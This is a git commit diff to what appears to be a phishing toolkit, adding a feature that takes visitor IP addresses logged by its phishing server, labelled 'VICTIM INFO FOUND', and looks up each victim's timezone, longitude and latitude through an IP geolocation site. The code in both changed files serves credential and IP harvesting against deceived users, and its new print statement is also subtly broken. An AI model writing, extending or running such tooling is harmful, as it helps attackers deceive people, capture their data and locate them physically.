Get longitude and latitude

This commit is contained in:
Micrafast 2018-06-07 20:57:20 +08:00
parent 8d40e4223b
commit f608df9b04
2 changed files with 24 additions and 2 deletions

View File

@ -22,7 +22,7 @@ def connected(host='http://duckduckgo.com'):
return True
except:
return False
if connected() == False:
if connected('http://www.baidu.com') == False:
print '''
....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _
/ \/| [__ | | | | |__| | |___ | [__ |__|
@ -154,8 +154,14 @@ def waitCreds():
with open('Server/www/iplog.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
resp = unquote(urlopen('https://www.ipip.net/ip.html', quote('ip=' + lines)).read())
searchObj = re.search('时区:(.*?) 该地区中心经纬度:(.*?), (.*?)', resp) # This website is a Chinese website, and this sentence means "timezone: ..... longitude and latitude at this area's center: ......, ......"
timezone = searchObj.group(1)
longitude = searchObj.group(2)
latitude = searchObj.group(3)
print '======================================================================'.format(RED, END)
print ' {0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
print ' {0}[ INFO ]{1}:\n {0}Timezone: %s Longitude: %s Latatude: %s{1}'.format(GREEN, END) % timezone, longitude, latitude
system('rm -rf Server/www/iplog.txt && touch Server/www/iplog.txt')
print '======================================================================'.format(RED, END)

View File

@ -9,9 +9,11 @@ from time import sleep
from sys import stdout, exit
from os import system, path
import multiprocessing
from urllib import urlopen
from urllib import urlopen, quote, unquote
from platform import architecture
from wget import download
from httplib import HTTPConnection
import re
RED, WHITE, CYAN, GREEN, END = '\033[91m', '\33[46m', '\033[36m', '\033[1;32m', '\033[0m'
@ -144,6 +146,20 @@ def waitCreds():
creds.close()
with open('ServerTermux/www/iplog.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
resp = unquote(urlopen('https://www.ipip.net/ip.html', quote('ip=' + lines)).read())
searchObj = re.search('时区:(.*?) 该地区中心经纬度:(.*?), (.*?)', resp) # This website is a Chinese website, and this sentence means "timezone: ..... longitude and latitude at this area's center: ......, ......"
timezone = searchObj.group(1)
longitude = searchObj.group(2)
latitude = searchObj.group(3)
print '======================================================================'.format(RED, END)
print ' {0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
print ' {0}[ INFO ]{1}:\n {0}Timezone: %s Longitude: %s Latatude: %s{1}'.format(GREEN, END) % timezone, longitude, latitude
system('rm -rf ServerTermux/www/iplog.txt && touch ServerTermux/www/iplog.txt')
print '======================================================================'.format(RED, END)
def runPEnv():
system('clear')
print ''' {2}-{1} An0nUD4Y {2}|{1} An0nUD4Y {2}|{1} An0nUD4Y {2}- INDIA